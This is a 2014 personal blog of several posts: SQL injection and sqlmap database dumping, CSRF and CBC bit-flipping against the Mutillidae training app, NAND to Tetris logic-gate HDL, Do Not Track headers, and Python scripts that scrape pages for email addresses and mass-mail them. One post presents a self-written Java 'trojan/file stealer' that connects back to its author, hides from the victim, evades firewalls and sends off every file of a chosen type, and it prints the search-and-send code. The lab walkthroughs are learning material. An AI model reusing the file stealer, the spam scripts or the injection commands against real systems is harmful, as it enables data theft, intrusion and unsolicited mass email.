Thursday, 20 November 2014

Hacking websites using Cross Site Request Forgery(CSRF).


What is CSRF?
CSRF is one of the lesser known attacks against websites. In a nutshell CSRF allows you to make a user perform an action on a website without their knowledge. Say you are logged into a forum and it is vulnerable to CSRF. An attacker could send you a link to a completely unrelated website, but within the source code of the attackers website is the code to change the users password on the forum they are logged into.

How does this happen?
CSRF is possible when a website is using only cookies to manage a session. The "same-origin" functionality incorporated into HTTP still allows requests from another website but will not send any data back. This one way functionality is enough to perform simple once off tasks. So we can still change passwords and update accounts but will not see any response. This is fine because we do not need the response anyway. We just need to submit the criteria and submit the form. The victim must also be logged into the website for this to work. Because they are already logged in and our code sends them to the website, we do not need their password. There session cookie lets them in without needing to re-enter the password. 

The Attack
For this attack I will be using Mutillidae and burp suit for the interception proxy as usual. You can download it from http://sourceforge.net/projects/mutillidae/  
I will be using the Register account form in Mutillidae.

  

What we need to do is basically recreate the form for registering a user. We can do this by either checking the source code or my preferred way of capturing the request in an interception proxy. 

As you can see when submitting the form you can see the form fields we are required to create:


So now we simply have to recreate this form and submit it with some simple javascript like so:


Now we just send the victim a link to this page and the result is this:



This is a super simple proof of concept. Most times you will either have a meta tag redirect to another page or simply have this page load off screen while displaying another page within the users view.

Think about if this was sent to an administrator. Or if it was a change password form or a confirm bank transfer...

Prevention
Protecting against this attack is usually just a matter of providing anti-csrf tokens that are issued to the user and submitted with each form submission. This way in order for an attacker to perform the attack they need the anti-csrf token along with the other form data. Without the token the form will not submit. While there are ways to get the token such as XSS and some multi stage attacks, as long as the tokens are issued correctly CSRF attacks can be rendered impossible.

Monday, 10 November 2014

SQL Injection with SQL Map and bypassing JavaScript filters.


This post will go through what is required for a basic SQL Injection as well as how to bypass input filters enforced by javascript. 




What is SQL injection?
SQL injection is a technique used to manipulate a back end database by inputting specially crafted sql syntax into an input field and causing the back end database to run it. The most basic of injections and usually the first one you should try once you have found an injection point is simply admin' or 1=1 -- If you put this into a user name field the query that results is: SELECT * FROM users WHERE username = 'admin'' or 1=1 -- As you can see the username is closed off with the extra ' and then checks if 1=1 which it does and then comment out the rest of the query with -- to cancel the password check. So basically its saying if the username is admin OR if 1 = 1 log me in. This is if the database is mysql which is very common. Their are cheat sheets available for every database out there if this command does not work or it is not a MySQL database.

SQL is a huge topic and there are many different types of injections. The above is the most simplest and easiest to understand the concept. This post should give you an idea of how complex injections can get. Im currently waiting for the book "SQL Injections, Attacks and defence." by Justin Clarke to arrive in the mail so I can get a better grip on the more advanced injections that sqlmap may not pick up.

SQL Injection can be used for updating a database with new users and changing passwords, deleting data, bypassing logins, accessing and downloading databases and even completely compromising the underlying system.



How does this happen?
Injections happen when user input is not "sanitized", meaning any sql syntax is not filtered out so it gets interpreted by the database as a legitimate query. To avoid injections you should always sanitized and filter any user input on every single field that is interacting with a database. Even cookies and hidden fields. 


 I will cover the Javascript filter bypass as I go through the attack. 

For this attack I will be using the vulnerable web app "Mutillidae". It can be downloaded from: 

Il be using the vulnerable login screen located under: Owasp 2013, A1 Injection(SQL), SQLi Bypass Authentication. I have also set the security level to Arrogent to enable the javascript filter. 



Usually the first way to check for an injection point is to simply add the ' character. This closes off the statement and should result in an error if input is not sanitized. In this case the javascript filter is attempting to block the character. 


And important thing to note here is blacklisting is BAD because there are so many other characters that can get around and be used for the same purpose as the characters being blocked. If you do ever need to block characters, use a white list and white list the allowed characters so every other character is blocked by default. That stops the almost unlimited possibilities of bypassing a blacklist.

Ok so this is clearly javascript causing this alert so if we take a look at the source code we find the code that is doing this:

Its doing two checks here. The first is checking if the input length is greater than 15. And the second is the blacklist. 

The most simplest way to get around this by turning off JavaScript... Its literally that easy to get around javascript filters... However a more elegent way is to send a valid request and catch it after the java has run but before it has been sent to the server ;) 

To do this we use an intercepting proxy to catch every request we make. That way we can alter it after any javascript has been run and then send it on its way. The proxy I will be using is Burp Suite. Simply run burp and configure your browsers proxy to 127.0.0.1:8080. Enter allowed characters into the login, turn on intercept in burp and login:




Burp will catch it after the java filter has checked your input. Now you can add the ' after the username. Forward the request and check if you receive an error. Note, that in the event you do not receive an error that does not mean the application is not still vulnerable. It may just be filtering out the errors and returning you back to the login page. You may be able to still use other techniques such as BLIND injection to exploit it.


The '  character did confuse the database and caused it to throw us an error. This error gives us quite a lot of information about the back end database. We have a full path disclosure:
/var/www/mutillidae/classes/MySQLHandler.php
The  database version:
client_info: 5.5.40
That is running on Unix
host_info: Localhost via UNIX socket
The Database is MySQL
error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''asadf''' at line 1
The table that holds the username information and the database:
Query: SELECT username FROM accounts WHERE username='asadf''; (0) [Exception] 

So after that very informative error we know the database is MySQL and that it is vulnerable to injection. So as I stated at the start of this post the first query we should try is admin' or 1=1 -- Two things to note here is that admin can be anything and there needs to be a space after -- . Again catch a request to bypass the filter and change the username.



I did have to play with the syntax a bit. The one that worked was the one above. Adding spaces between each character did the trick. The query that got send to the server was:
SELECT username FROM accounts WHERE username='admin'' or 1 = 1 -- ; This returned true and let us in :)

Our result:

In this case injection was used to bypass the login and get admin access. If you performed this on a page where you where viewing your account or changing a password you may end up changing everyones password, or viewing everyones account. 


Introducing SQLMap

So what if you want more than just accessing the admin account or some usernames and passwords? What if you know there are more databases on the system and cant access them via manual injection? And what if all of your manual techniques have failed or are very slow? This is where sqlmap comes in. SQLMap is an extremely powerful tool and does have the ability for misuse by script kiddies. SQLmap automates every type of injection and can perform infinite amounts of techniques multiple times a second. SQLMap was written by: Bernardo Damele and Miroslav Stampar and can be downloaded from: http://sqlmap.org/

SQLMap is used via the console. Type in sqlmap -hh to get a list of options.
You will get a list of all of the options available to you. There are a lot and they are all well worth researching and learning if you want to use this tool effectively. It even includes a wizard for new users to use. sqlmap --wizard.

The way I will be using sql map is by saving my login request that I caught in burp. Simply login to your mutillidae login again and catch the request then right click and choose save to file. After you have done that run this command:

sqlmap -r ~/Desktop/mutilInject -p username --dbms mysql --dbs

-r = your request file you saved from the burp capture. The -r stands for request. -p is the username field. --dbms specifies the database since we found that in our initial injection test. --dbs means if you find an injection tell me all of the databases on the system. The other common option to save you using a saved request is to specify the url with -u instead of -r.

If you require anonymity you can go through the tor network by starting TOR service and adding the commands --use-tor --tor-type SOCKS5 --check-tor

I chose to add a random user agent so it randomizes my browser a bit.

Once you run the command it will go off and test different types of injections on the username field. As you can see it found that it is vulnerable to AND error based injection. A good practice is to turn up the verbosity with -v 6 so you can see exactly what it is doing and what queries it is trying so you can get a better understanding of every injection technique. -v has options 1 to 6 depending on how much you want to see. Here is a screen shot of a UNION attack with the verbosity turned to 3:



If you know what the application is vulnerable too you can specify what type of attack to use with the --technique U switch. In that case the U means UNION. By default sqlmap will check for every type of attack.


So as its found an injection there is no need to continue looking for more. After pressing N we can see the databases returned to us from the --dbs command. 


We have 5 databases on this server. The one we want is the Muttilidae one which is nowasp. So now we have choses our database and we want to see what information is inside it:

 sqlmap -r ~/Desktop/mutilInject --random-agent -p username --dbms mysql -D nowasp --tables

-D selects the database nowasp and --tables enumerates all of the tables inside it. After running the command we get the table listing:



Interesting that there is a table called "credit_cards". We could enumerate all of the columns inside the table with -D nowasp -T credit_cards --columns but lets just go ahead and download that entire table instead.

sqlmap -r ~/Desktop/mutilInject --random-agent -p username --dbms mysql -D nowasp -T credit_cards --dump

The --dump by default dumps into a csv file. After it completes sqlmap displays the dumped table onto the screen and lets you know where it saved the csv:


All of this was possible from a single input field that did not sanitize its input... Now if you think this is bad enough, it is sometimes possible to upload a meterpreter shell onto the box and completely own the entire network. All of this from one vulnerable input field... This screen shot shows some of the more destructive commands you could use.

Friday, 24 October 2014

Trojan horse/file stealer written in Java

Been learning some of the more advanced concepts of Java after getting into games programming and android more than usual. I wrote this scary trojan like tool in java using threads, sockets and recursion. One thread for the socket that handles the messages and one thread to send the files.

This is actually two programs. One for the victim and one that runs on my pc and listens for the connection. When the victim opens it, nothing appears to happen but in the background it will try and connect to me every 5 seconds until I accept the connection. Once connected I simply input what file type I want and it will recursively search every file on the victim and send me the files.

Being that the victim is the one that issues the connection this evades firewalls. Essentially its a reverse connection. Any errors or interruptions on the victim end simply causes it to "restart" and begin looking for connections again. It wont stop until manually ended in task manager. I could have it copy itself to windows startup but for a proof of concept this will do :P

The victim side currently only works on windows as it starts the searches at C:\Users\. I dont really have any plans to update to check for MAC or Linux. The server side that sits at my end will run on MAC, Linux and Windows being Java and all...


Waiting for the victim to open the program.




Once a connection is received.




After choosing jpg it kicks off the search and send method.




This is the magic behind the recursive search. Its just grabbing a list of files and directories from the C:/Users path and then recursively going through each directory filtering out the chosen file type:

private void searchFiles(File startPoint) throws IOException, ClassNotFoundException{
File[] files = startPoint.listFiles();
String fileNames;
if(files == null){
return;
}
for(int i = 0; i < files.length; i++){
if(files[i].isDirectory()){
searchFiles(files[i]);
}else if(files[i].isFile()){
fileNames = files[i].getAbsolutePath();
if(fileNames.endsWith("." + extension) || fileNames.endsWith("." + extension.toUpperCase())){
client.sendCommands(fileNames);
client.sendFile(fileNames);
client.sendCommands("Sent file " + fileNames);
}
}
}
}



Friday, 5 September 2014

Chapter 1

Chapter one involved using a NAND chip to create all of the below logic gates:

AND, And16, OR, NOT, Not16,  XOR, Or16, Or8way, Mux, Mux16, Mux4Way16, Mux8Way16, DMux, DMux4Way, DMux8way.

Given a set of inputs either a 1 or 0, each chip has to produce an output based on the input. For example the NOT gate if given a 1 has to output a 0. For the AND gate if given two 1s then the output will be 1. Every other combination should produce a 0. For example 1 - 0 would output a 0. Each chip as their own outputs and each chip usually uses the chip made before it to acheive the end results. 

Using the hardware emulator provided and a language called HDL(Hardware descriptive language) I was able to successfully produce all the required chips. 

The NAND chip will produce a 0 only if both inputs are 1. Otherwise it will output a 1. Its function looks like: If a=b=1 then out = 0 else out=1

First chip I created was the NOT gate, also known as the converter. This is a single input chip and is used to flip the bit from a 1 to a 0 or a 0 to a 1. The function looks like this "If in = 0 then out = 1 else out=0. Completed this by "soldering" the a and b inputs of the NAND gate together. After each chip configuration the chip was loaded into the hardware simulator to test every possible input yields the desired output. In HDL it looks like this:


CHIP Not {
    IN in;
    OUT out;

    PARTS:
    Nand(a=in, b=in, out=out);
}


Next was the AND gate. The function is:
If a=b=1 then out =1 else out=0
Since this is the opposite of a NAND gate this is achieved by simply swapping the output of the NAND gate by attaching the NOT gate to the output of the NAND gate.


CHIP And {
    IN a, b;
    OUT out;

    PARTS:
Nand(a=a, b=b, out=w1);
Not(in=w1, out=out);
}


OR The Or function returns 1 when at least one of its inputs is 1, and 0 otherwise. The OR gate was achieved using 2 NOT gates and a NAND:

CHIP Or {
    IN a, b;
    OUT out;

    PARTS:
Not(in=a, out=nota);
Not(in=b, out=notb);
Nand(a=nota, b=notb, out=out);
}


Xor The Xor function, also known as “exclusive or,” returns 1 when its two inputs have opposing values, and 0 otherwise. For this I had to learn something called canonical expression. Basically this means getting a list of the possible inputs and outputs. also known as a "Truth table" and listing out all the combinations of the outputs that resulted in a 1. This technique is called "Product of sums". The truth table for a XOR gate is:
|   a   |   b   |  out  |
|   0   |   0   |   0   |
|   0   |   1   |   1   |
|   1   |   0   |   1   |
|   1   |   1   |   0   |

Calculating the Product of sums:
|   a   |   b   |  out  |
|   0   |   0   |   0   |
|   0   |   1   |   1   | ('a b)
|   1   |   0   |   1   | (a 'b)
|   1   |   1   |   0   |

'a means notA as 0 does not equal the output of 1. This shows that we need to use 2 AND gates and OR them together using a NOT gate for the inputs that are notA. The full expression looks like:
 ('ab) + (a'b) 
In english: (notA b) + (a notB).


CHIP Xor {
    IN a, b;
    OUT out;

    PARTS:
And(a=nota, b=b, out=w1);
Not(in=a, out=nota);
And(a=a, b=notb, out=w2);
Not(in=b, out=notb);
Or(a=w1, b=w2, out=out);
}


The Multiplexer took some learning how to shrink down the canonical expression to a smaller equation. The Mux chip takes 3 inputs and has 1 output. Its truth table is:

|   a   |   b   |  sel  |  out  |
|   0   |   0   |   0   |   0   |
|   0   |   0   |   1   |   0   |
|   0   |   1   |   0   |   0   |
|   0   |   1   |   1   |   1   |
|   1   |   0   |   0   |   1   |
|   1   |   0   |   1   |   0   |
|   1   |   1   |   0   |   1   |
|   1   |   1   |   1   |   1   |

Using the Product of sums we get the canonical expression of:

('a b sel) + (a 'b 'sel) + (a b 'sel)  + (a b sel)

Using 4 AND gates all ORed together is a lot of chips and this is why it should be shrunk down to yield the smallest amount possible. To shink it down I learnt a teqnique called "karnaugh maps".
http://en.wikipedia.org/wiki/Karnaugh_map
Using the karnaugh map I was able to get the expression down to:

(a 'sel) + (b sel)

So 2 AND gates ORed together and a NOT gate.


CHIP Mux {
    IN a, b, sel;
    OUT out;

   PARTS:
And(a=a, b=notb, out=w1);
And(a=b, b=sel, out=w2);
Not(in=sel, out=notb);
Or(a=w1, b=w2, out=out);
}

The DMux chip was a pain to figure out but eventually figured out that as it has 2 outputs and 2 inputs I simply split the truth table into 2.
                                                                     
|  in   |  sel  |   a   |   b   |                                   
|   0   |   0   |   0   |   0   |
|   0   |   1   |   0   |   0   |
|   1   |   0   |   1   |   0   |
|   1   |   1   |   0   |   1   |

Split into 2:
|  in   |  sel  |   a   | 
|   0   |   0   |   0   |
|   0   |   1   |   0   | 
|   1   |   0   |   1   | 
|   1   |   1   |   0   |

|  in   |  sel  |   b   |
|   0   |   0   |   0   |
|   0   |   1   |   0   |
|   1   |   0   |   0   | 
|   1   |   1   |   1  |

Using canonical expression on both of the tables it resulted in the below config:

CHIP DMux {
    IN in, sel;
    OUT a, b;

    PARTS:
And(a=in, b=notb, out=a);
And(a=in, b=sel, out=b);
Not(in=sel, out=notb);
}


Not16 chip was completed by simply using 16 Not chips to create a 16bit NOT chip:

CHIP Not16 {
    IN in[16];
    OUT out[16];

    PARTS:
    Not(in=in[0], out=out[0]);
Not(in=in[1], out=out[1]);
Not(in=in[2], out=out[2]);
Not(in=in[3], out=out[3]);
Not(in=in[4], out=out[4]);
Not(in=in[5], out=out[5]);
Not(in=in[6], out=out[6]);
Not(in=in[7], out=out[7]);
Not(in=in[8], out=out[8]);
Not(in=in[9], out=out[9]);
Not(in=in[10], out=out[10]);
Not(in=in[11], out=out[11]);
Not(in=in[12], out=out[12]);
Not(in=in[13], out=out[13]);
Not(in=in[14], out=out[14]);
Not(in=in[15], out=out[15]);
}
    
The AND16 chip was the exact same technique:

CHIP And16 {
    IN a[16], b[16];
    OUT out[16];

    PARTS:
    And(a=a[0], b=b[0], out=out[0]);
And(a=a[1], b=b[1], out=out[1]);
And(a=a[2], b=b[2], out=out[2]);
And(a=a[3], b=b[3], out=out[3]);
And(a=a[4], b=b[4], out=out[4]);
And(a=a[5], b=b[5], out=out[5]);
And(a=a[6], b=b[6], out=out[6]);
And(a=a[7], b=b[7], out=out[7]);
And(a=a[8], b=b[8], out=out[8]);
And(a=a[9], b=b[9], out=out[9]);
And(a=a[10], b=b[10], out=out[10]);
And(a=a[11], b=b[11], out=out[11]);
And(a=a[12], b=b[12], out=out[12]);
And(a=a[13], b=b[13], out=out[13]);
And(a=a[14], b=b[14], out=out[14]);
And(a=a[15], b=b[15], out=out[15]);
}


OR 16 used the exact same method:


CHIP Or16 {
    IN a[16], b[16];
    OUT out[16];

    PARTS:
    Or(a=a[0], b=b[0], out=out[0]);
Or(a=a[1], b=b[1], out=out[1]);
Or(a=a[2], b=b[2], out=out[2]);
Or(a=a[3], b=b[3], out=out[3]);
Or(a=a[4], b=b[4], out=out[4]);
Or(a=a[5], b=b[5], out=out[5]);
Or(a=a[6], b=b[6], out=out[6]);
Or(a=a[7], b=b[7], out=out[7]);
Or(a=a[8], b=b[8], out=out[8]);
Or(a=a[9], b=b[9], out=out[9]);
Or(a=a[10], b=b[10], out=out[10]);
Or(a=a[11], b=b[11], out=out[11]);
Or(a=a[12], b=b[12], out=out[12]);
Or(a=a[13], b=b[13], out=out[13]);
Or(a=a[14], b=b[14], out=out[14]);
Or(a=a[15], b=b[15], out=out[15]);
}


Same thing for the Mux16

CHIP Mux16 {
    IN a[16], b[16], sel;
    OUT out[16];

    PARTS:
    Mux(a=a[0], b=b[0], sel=sel, out=out[0]);
Mux(a=a[1], b=b[1], sel=sel, out=out[1]);
Mux(a=a[2], b=b[2], sel=sel, out=out[2]);
Mux(a=a[3], b=b[3], sel=sel, out=out[3]);
Mux(a=a[4], b=b[4], sel=sel, out=out[4]);
Mux(a=a[5], b=b[5], sel=sel, out=out[5]);
Mux(a=a[6], b=b[6], sel=sel, out=out[6]);
Mux(a=a[7], b=b[7], sel=sel, out=out[7]);
Mux(a=a[8], b=b[8], sel=sel, out=out[8]);
Mux(a=a[9], b=b[9], sel=sel, out=out[9]);
Mux(a=a[10], b=b[10], sel=sel, out=out[10]);
Mux(a=a[11], b=b[11], sel=sel, out=out[11]);
Mux(a=a[12], b=b[12], sel=sel, out=out[12]);
Mux(a=a[13], b=b[13], sel=sel, out=out[13]);
Mux(a=a[14], b=b[14], sel=sel, out=out[14]);
Mux(a=a[15], b=b[15], sel=sel, out=out[15]);
}

The OR8way chip has 8 inputs and only 1 output. I chained a bunch of ORs together to get this working:

CHIP Or8Way {
    IN in[8];
    OUT out;

    PARTS:
    Or(a=in[0], b=in[1], out=w1);
Or(a=in[2], b=in[3], out=w2);
Or(a=in[4], b=in[5], out=w3);
Or(a=in[6], b=in[7], out=w4);
Or(a=w1, b=w2, out=w5);
Or(a=w2, b=w3, out=w6);
Or(a=w3, b=w4, out=w7);
Or(a=w5, b=w6, out=w8);
Or(a=w6, b=w7, out=w9);
Or(a=w8, b=w9, out=out);
}


The Mux 4 way 16 bit chip takes 5 inputs and one 16bit output. Things started getting really tricky here but I got this working using only 3 Mux16 chips created earlier:

CHIP Mux4Way16 {
    IN a[16], b[16], c[16], d[16], sel[2];
    OUT out[16];

    PARTS:
    Mux16(a=a, b=b, sel=sel[0], out=w1);
Mux16(a=c, b=d, sel=sel[0], out=w2);
Mux16(a=w1, b=w2, sel=sel[1], out=out);
}

After this point the logic of building ontop of smaller chips started to sink in and the rest came about quite easily:


Mux 8 way 16 is the same principle as the last except now I can use the Mux4way and the Mux16 to create the Mux8way:

CHIP Mux8Way16 {
    IN a[16], b[16], c[16], d[16],
       e[16], f[16], g[16], h[16],
       sel[3];
    OUT out[16];

    PARTS:
Mux4Way16(a=a, b=b, c=c, d=d, sel[0..1]=sel[0..1], out=w1);
Mux4Way16(a=e, b=f, c=g, d=h, sel[0..1]=sel[0..1], out=w2);
Mux16(a=w1, b=w2, sel=sel[2], out=out);
}


The last two chips are the DMux4way and the DMux 8Way. Both use the same logic as all the other chips so it was quite easy to figure it out using the same principles. It did take some playing around though just to get it perfect:

CHIP DMux4Way {
    IN in, sel[2];
    OUT a, b, c, d;

    PARTS:
DMux(in=in, a=nota, sel=sel[1], b=notb);
DMux(in=nota, sel=sel[0], a=a, b=b);
DMux(in=notb, sel=sel[0], a=c, b=d);
}



CHIP DMux8Way {

    IN in, sel[3];

    OUT a, b, c, d, e, f, g, h;


    PARTS:
    DMux(in=in, a=nota, b=notb, sel=sel[2]);
DMux4Way(in=nota, a=a, b=b, c=c, d=d, sel[0..1]=sel[0..1]); 
DMux4Way(in=notb, a=e, b=f, c=g, d=h, sel[0..1]=sel[0..1]); 
}


That is the end of Chapter 1. At first look this seemed like an impossible task but slowly searching the Internet and using YouTube videos and the forum provided for students it all started making sense. Im not sure how im going to go with the rest of the course as this definitely challenged me but with enough persistence im sure I can get through the rest...

NAND to Tetris

This page is to document my progress through the NAND to Tetris course provided here:
http://www.nand2tetris.org/

The NAND to Tetris course is a free computer science course that only requires some programming knowledge as a pre-requisite. It covers building an entire computer starting from nothing but a single logic gate called a NAND. From there it goes through building all the other required chips and eventually ends in the student writing their own game on the computer they built entirely from scratch. Everything is simulated so there's no need to buy anything and the simulation software is provided free.



Sunday, 4 May 2014

Do Not Track HTTP headers.

Until today I had not heard of Do Not Track headers, referred to as DNT. I found out about it via news of Yahoo dropping support for it. After searching google I learnt that DNT is a HTTP header that can be turned on by users to tell websites not to track them. Once set it includes a DNT header with each HTTP request. If the user has said they do not want to be tracked it sets the headers value to 1. If they don't mind if they are tracked it sets it to 0 and if no option has been selected it sends it as null and does not send it with the request. Slight problem though because it is not a legal requirement for websites to honour the DNT requests. Much like the Apaches robots file they can simply ignore it and continue to track you if they choose :P
http://en.wikipedia.org/wiki/Do_Not_Track

After learning this I checked chromes settings, found the option and turned it on. In chrome it is located under: Settings, advanced settings, privacy.



After enabling it I configured chrome to go through burp suite so I could trap the request and see it for myself. Sure enough there was the DNT header set to 1.


Because sites can simply ignore the DNT flag an addon for Firefox and Chrome is being created called "Privacy Badger" and has been released in alpha. Privacy badger checks visited websites for any possible tracking cookies and blocks them. It can be found at:
https://www.eff.org/privacybadger

Email Scrapers and Spammers

Decided to write a web spider the other day and ended up playing with pythons "smtplib" library instead. These are some of the scripts I came up with.

Scrape a page for emails and send them an email.
This script will scrape a page you feed it for any emails and then send an email to any emails it finds. It uses googles SMTP servers so you need to input your email and password in the server login section. It first downloads the source code of the webpage using "urllib" and then parses it through the lxml parser using "Beautiful soup" and creates a BS object. It then uses a regex to filter out the emails and write them to a file. Next it does some cleanup on the email list and adds each email to an array. That array is used in the "to" field of the email. Next it creates the emails MIME headers to properly format the message and then sends the email. Bit of unnecessary repetition in this script with creating a list then adding it to an array but I did not start this script with this intention. Was just playing around and this is what came out :P. 

Example usage: ./auto_email.py http://www.example.com

#!/usr/bin/python

import urllib
from bs4 import BeautifulSoup
import sys
import re
import os
import smtplib
from email.MIMEText import MIMEText

###This script scrapes a webpage given as a command line argument for email adresses. It then
###Sends an email to each one.

def writeToFile(result):
emails = 0
file = open(emailLists, "a")
for line in result:
file.write(line + "\n")
emails +=1
file.close
print str(emails) + " results written to file"

def emailSpam(bs):
#create a email filter regex
email_re = re.compile(r'([\w\.,]+@[\w\.,]+\.\w+)')
global result
result = []
#search through bs using the email filter
result += email_re.findall(bs.text)
#write the results to file
writeToFile(result)

def sendEmails():
os.system("sort -u -o emailList emailList")
emailaddrs = []
for line in open(emailLists, "r").readlines():
        emailaddrs.append(line)

fromaddr = "anonymous@gmail.com"
toaddr = emailaddrs
TEXT = """Another multi message
with python"""
SUBJECT = "Test message"
message = 'Subject: %s\n\n%s' % (SUBJECT, TEXT)
SERVER = "smtp.gmail.com:587"

print "Connecting to mail server"
server = smtplib.SMTP(SERVER)
server.set_debuglevel(True)
server.ehlo()
print "Starting TTLS"
server.starttls()
print "TTLS started successfully"
print "logging in to GMAIL"
server.login("fakeemail@gmail.com", "fakepassword")
print "Sending emails"
server.sendmail(fromaddr, toaddr, message)
server.quit()
print "\n\nComplete"


#Get the html and parse it through BS-LXML
html = urllib.urlopen(sys.argv[1])

os.system("rm emailList")
print "Removed old list"

bs = BeautifulSoup(html.read(), "lxml")
global emailLists
emailLists = "emailList"

#Start the script
emailSpam(bs)
sendEmails()




Scrape a webpage for emails and write them to a file
Same as the above but it does not send the emails. It just writes them to a file for later use. 

#!/usr/bin/python

import urllib
from bs4 import BeautifulSoup
import sys
import mechanize
import re
import os
import smtplib
from email.MIMEText import MIMEText

###This script scrapes a webpage given as a command line argument for email adresses.

def writeToFile(result):
        emails = 0
        file = open(emailLists, "a")
        for line in result:
                file.write(line + "\n")
                emails +=1
        file.close
        print str(emails) + " results written to file"

def emailSpam(bs):
        #create a email filter regex
        email_re = re.compile(r'([\w\.,]+@[\w\.,]+\.\w+)')
        global result
        result = []
        #search through bs using the email filter
        result += email_re.findall(bs.text)
        #write the results to file
        writeToFile(result)

#Get the html and parse it through BS-LXML
html = urllib.urlopen(sys.argv[1])
bs = BeautifulSoup(html.read(), "lxml")
global emailLists
emailLists = "emailList"

#Start the script
emailSpam(bs)



Email a list of contacts.
This script takes an email list as input and emails each one. 

#!/usr/bin/python

#This bot takes the email list as command line argument. 

import smtplib
from email.MIMEText import MIMEText
import sys

lineCount = 0
emailaddrs = []
for line in open(sys.argv[1], "r").readlines():
        emailaddrs.append(line)
        lineCount += 1

fromaddr = "anonymous@gmail.com"
toaddr = emailaddrs
TEXT = """This is a test message"""
SUBJECT = "It works :D"
message = 'Subject: %s\n\n%s' % (SUBJECT, TEXT)
SERVER = "smtp.gmail.com:587"

print "Connecting to mail server"
server = smtplib.SMTP(SERVER)
server.set_debuglevel(True)
server.ehlo()
print "Starting TTLS"
server.starttls()
print "TTLS started successfully"
print "logging in to GMAIL"
server.login("fakeemail@gmail.com", "fakepassword")
print "Sending %s emails"%(str(lineCount))
server.sendmail(fromaddr, toaddr, message)
server.quit()
print "\n\nComplete"





Friday, 2 May 2014

Bypassing encrypted session tokens using CBC bit flipping technique.

In the last few weeks I have been studying Web Application hacking. Yesterday and today have been focused on session management. After struggling to understand how CBC bit flipping works, it was real "holy sh*t" moment when it finally hit me. This technique is awesome and was a lot of fun working it out and then applying my knowledge on an actual vulnerable web app. This post will cover the technique and not the discovery of these tokens. I have only just learnt this so I am still unsure of the best techniques to reveal if a token is encrypted and ran through CBC.

I will be using the vulnerable web application called Mutillidae to demonstrate this attack. Mutillidae is a free vulnerable web app maintained by Jeremy Druin and I believe it was initially started by Adrian Crenshaw. Its purpose is to aid in teaching and learning pentesting. It has been very useful in aiding me in performing and practising various web app hacks. More info and download can be found at:
https://www.owasp.org/index.php/OWASP_Mutillidae_2_Project

What is a session token?
A session token is a string of data that is used to maintain a HTTP session between you and the web browser. HTTP itself cannot maintain a session so there needs to be some way for the server to know that you have logged in. Without maintaining your session you would have to sign into a web page every time you refreshed or visited a new page within the same site. Sessions tokens are similar to cookies although they are somewhat different in the way they are handled. Cookies and tokens both serve the same purpose. The vulnerabilities that occur with maintaining sessions is that if an attacker is able to steal your session token or cookie they can simply connect to the website using your token and bypass the authentication process. Another way is to simple guess the token. An example would be a token using your username as its data. An attacker would only need to replace his token with your username an login as you. One method of defence that is commonly used to protect tokens is to encrypt them so they are unreadable and cannot be guessed. 

What is CBC bit flipping?
CBC stands for cipher block chaining. Taken from Wiki:
Each block of plaintext is XORed with the previous ciphertext block before being encrypted. This way, each ciphertext block depends on all plaintext blocks processed up to that point. To make each message unique, an initialization vector must be used in the first block.

Say you want to use AES encryption for your tokens. If your message you want to encrypt is "password" then each time you encrypt the word "password" it will always result in the same encrypted output. This poses a security risk as an attacker can reverse engineer this by simply encrypting a list of words and then comparing them to the encrypted values thus revealing the token. The attacker can then create his own token, encrypt it and use it to login as another user. CBC is a way of randomizing the output of the encrypted value. It works by using an IV or initialization vector. The IV is a random value that is used against each block of your encrypted value. The first block of plain text is XORed with the IV and then that value is XORed with the next block and it keeps doing this until each block is XORed with the last one. It looks like this:


XOR is a simple technique of switching bits. It works by comparing the bits of two values. In our case the IV and the plain text for the first block and the ciphertext and the plain text from then on. If they are both 0 then it remains 0. If it is 0-1 then it becomes 1. if it is 1-1, it becomes 0. Simple enough. More info can be found at: http://en.wikipedia.org/wiki/XOR_cipher

Because reversing XOR essentially requires flipping the bit, this is how we can attack it. This attack does not decrypt the original encryption but simply alters the cipher-text so it is un-xored down the chain. Say your token is called "admin". It is encrypted and ran through CBC to come out like this. aaabbbccc999. This is now our token that maintains our session. Now say an attacker named john logs in and gets sent the token cccbbbccc1111. The attacker can flip the bits one at a time and send them to the server and monitor the results. ffcbbbccc1111 is sent to the server and his user name changes from john to *ohn. So now he knows the first bit of the token ff converts to *. He now finds the value of 'a' and sends the token 7bcbbbccc1111 and it responds with 'aohn'. The attacker now has the first part of the username he wishes to login as. He simple keeps flipping the bits of the token until he has one that converts to "admin". Say it has come out to 7bdc995465. He would then just send a request to the server using that token and be logged in as admin. 

Demonstration
In Mutilidae version 2.6.10 there is a page called User Privilege Level. This is designed to practise the CBC bit flip attack. It is located under: OWASP 2013, Broken authentication and session management, Privilege escalation, view user privileges. 

As you can see the goal of this challenge is to change the user and group to 000. The first thing we need is the IV. How do we get the IV with nothing presented to us? We need to use a proxy that sits in-between us and the server. I will be using burp suite for this. Burp suite is tool used to aid in web app pentesting. You need to configure your browser to go through the burp proxy. Setting up burp is out of scope for this post. Information on setting up burp can be found at:

Once burp is setup and intercepting traffic simply refresh the page and trap it in burp.


If you look closely you can see the IV has been sent along with the request. 
6bc24fc1ab650b25b4114e93a98f1eba
A useful tool included in burp suite is the repeater. The repeater keeps a copy of this request and lets us alter it and send it to the server multiple times without having to manually keep refreshing the page and capturing a new request. Right click and choose send to repeater. Also note down the IV in notepad or something. With the request in the repeater tab, navigate to the repeater tab and click GO.


In the response view of the repeater open the tab "Render". This allows us to review the rendered response of the request we just sent. This is where we can start flipping the bits in the IV. Note is sais User is root. I believe this is a bug as it should only say that when we set the User ID and Group ID to 000. Start by changing each bit of the IV to FF and monitoring the response keep doing so until you are able to change the output of the user and group field. Example:
FFc24fc1ab650b25b4114e93a98f1eba
We can see this altered the first part of the Application ID. The next test we flip the second bit:
FFFF4fc1ab650b25b4114e93a98f1eba
FFFFFFc1ab650b25b4114e93a98f1eba
FFFFFFFFab650b25b4114e93a98f1eba
FFFFFFFFFF650b25b4114e93a98f1eba
This is where we find our user ID field has changed. The value is now User ID : e00 
Ok so we know the bit we need to alter to change the part of the user ID field. Note this down as we will need it later. Continue flipping bits until you get to the part of the Group ID that needs changing. 
At this point we find the correct value:
FFFFFFFFFFFFFFFFb4114e93a98f1eba
Iv marked down those bits in the original IV and returned the rest to the original values:
6bc24fc1FF650bFFb4114e93a98f1eba




